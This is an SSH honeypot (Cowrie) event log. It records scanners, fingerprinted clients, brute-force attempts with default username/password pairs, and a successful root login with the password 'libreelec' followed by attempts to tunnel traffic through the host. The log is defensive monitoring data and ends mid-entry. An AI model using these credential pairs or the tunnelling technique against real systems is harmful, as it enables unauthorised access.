{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:17.907583Z","src_ip":"193.32.162.145","session":"4543cc95a598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.117","src_port":64720,"dst_ip":"159.203.135.109","dst_port":22,"session":"85c118ace96b","protocol":"ssh","message":"New connection: 147.185.132.117:64720 (159.203.135.109:22) [session: 85c118ace96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:25.090665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:26.185351Z","src_ip":"147.185.132.117","session":"85c118ace96b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:27.149777Z","src_ip":"147.185.132.117","session":"85c118ace96b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:50:34.093138Z","src_ip":"147.185.132.117","session":"85c118ace96b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":45656,"dst_ip":"159.203.135.109","dst_port":22,"session":"83a8943c12c9","protocol":"ssh","message":"New connection: 92.118.39.72:45656 (159.203.135.109:22) [session: 83a8943c12c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:27.389027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:27.393064Z","src_ip":"92.118.39.72","session":"83a8943c12c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:27.508106Z","src_ip":"92.118.39.72","session":"83a8943c12c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain","password":"blockchain","message":"login attempt [blockchain/blockchain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:27.825913Z","src_ip":"92.118.39.72","session":"83a8943c12c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:28.928655Z","src_ip":"92.118.39.72","session":"83a8943c12c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36408,"dst_ip":"159.203.135.109","dst_port":22,"session":"175905764115","protocol":"ssh","message":"New connection: 2.57.122.210:36408 (159.203.135.109:22) [session: 175905764115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:29.084052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:29.088241Z","src_ip":"2.57.122.210","session":"175905764115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:29.187342Z","src_ip":"2.57.122.210","session":"175905764115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:29.484527Z","src_ip":"2.57.122.210","session":"175905764115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:30.586424Z","src_ip":"2.57.122.210","session":"175905764115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":58768,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bf6fd770df0","protocol":"ssh","message":"New connection: 80.94.95.118:58768 (159.203.135.109:22) [session: 3bf6fd770df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:41.352417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:41.356507Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:41.460377Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:41.972297Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.48.247.5","dst_port":443,"src_ip":"80.94.95.118","src_port":39216,"message":"direct-tcp connection request to 52.48.247.5:443 from 127.0.0.1:39216","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:52.933123Z","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.48.247.5","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.48.247.5:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:55.203659Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.48.247.5","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|\\xdd\\x07\\xe9\\xf4\\xd8\\xb3\\x0bN\\xb2k\\xb9\\xc0\\xeb\\x8a\\x0b~R>\\xf1A\\t\\xbe\\xbf\\xf5\\xab\\x86\\x80J4\\xdaW \\xc9G\\x96\\'\\x19\\xc5\\x84X\" \\rB\\x9e~\\x12=\\xc3F\\xfc\\xb3L\\xa7\\'\\xf4\\xe5\\xd6\\x17\\xf9\\xcf\\xbf\\x11\\xb8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 z\\xb6L/\\xc7\\xfd/\\x1b\\xf9v\\xb1\\x88(\\x17z]D>\\x86gHW\\xb3\\xfd\\x19\\xf6\\xb3(\\xb7\\x85\\xec|\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 52.48.247.5:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|\\xdd\\x07\\xe9\\xf4\\xd8\\xb3\\x0bN\\xb2k\\xb9\\xc0\\xeb\\x8a\\x0b~R>\\xf1A\\t\\xbe\\xbf\\xf5\\xab\\x86\\x80J4\\xdaW \\xc9G\\x96\\'\\x19\\xc5\\x84X\" \\rB\\x9e~\\x12=\\xc3F\\xfc\\xb3L\\xa7\\'\\xf4\\xe5\\xd6\\x17\\xf9\\xcf\\xbf\\x11\\xb8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 z\\xb6L/\\xc7\\xfd/\\x1b\\xf9v\\xb1\\x88(\\x17z]D>\\x86gHW\\xb3\\xfd\\x19\\xf6\\xb3(\\xb7\\x85\\xec|\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:55.207090Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"95.100.221.76","dst_port":443,"src_ip":"80.94.95.118","src_port":41068,"message":"direct-tcp connection request to 95.100.221.76:443 from 127.0.0.1:41068","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:56.498359Z","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"95.100.221.76","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 95.100.221.76:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:51:56.748809Z","src_ip":"80.94.95.118","session":"3bf6fd770df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"95.100.221.76","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03m\\xd5qR\\xaa@\\x12\\xc2\\xe5\\xff\\xc5\\xb4Q8qH\\x04\\xd3\\xaf\\x83$\\xb8\\x03]\\xac\\xe8P\\xa2\\xe0\\x93\\xdd\\xfd \\x97\\x9c\\xa5F\\x11nT`\\xe8#\\x07/\\xd2\\x06\\xeao\\x1d\\xc6\\xbbX\\x86\\xae\\rx\\x1bG\\x93\\xec\\xd7L\\xad\\xee\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ?\\xc8'\\xd5\\xd9\\x0c\\x10U\\xc5le\\xb3\\xf2P\\xd9\\x7f\\xd2%\\x00\\xc3\\x8a?Du1\\xce\\x99\\xc1\\x1b\\xa5\\x8a\\x7f\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 95.100.221.76:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03m\\xd5qR\\xaa@\\x12\\xc2\\xe5\\xff\\xc5\\xb4Q8qH\\x04\\xd3\\xaf\\x83$\\xb8\\x03]\\xac\\xe8P\\xa2\\xe0\\x93\\xdd\\xfd 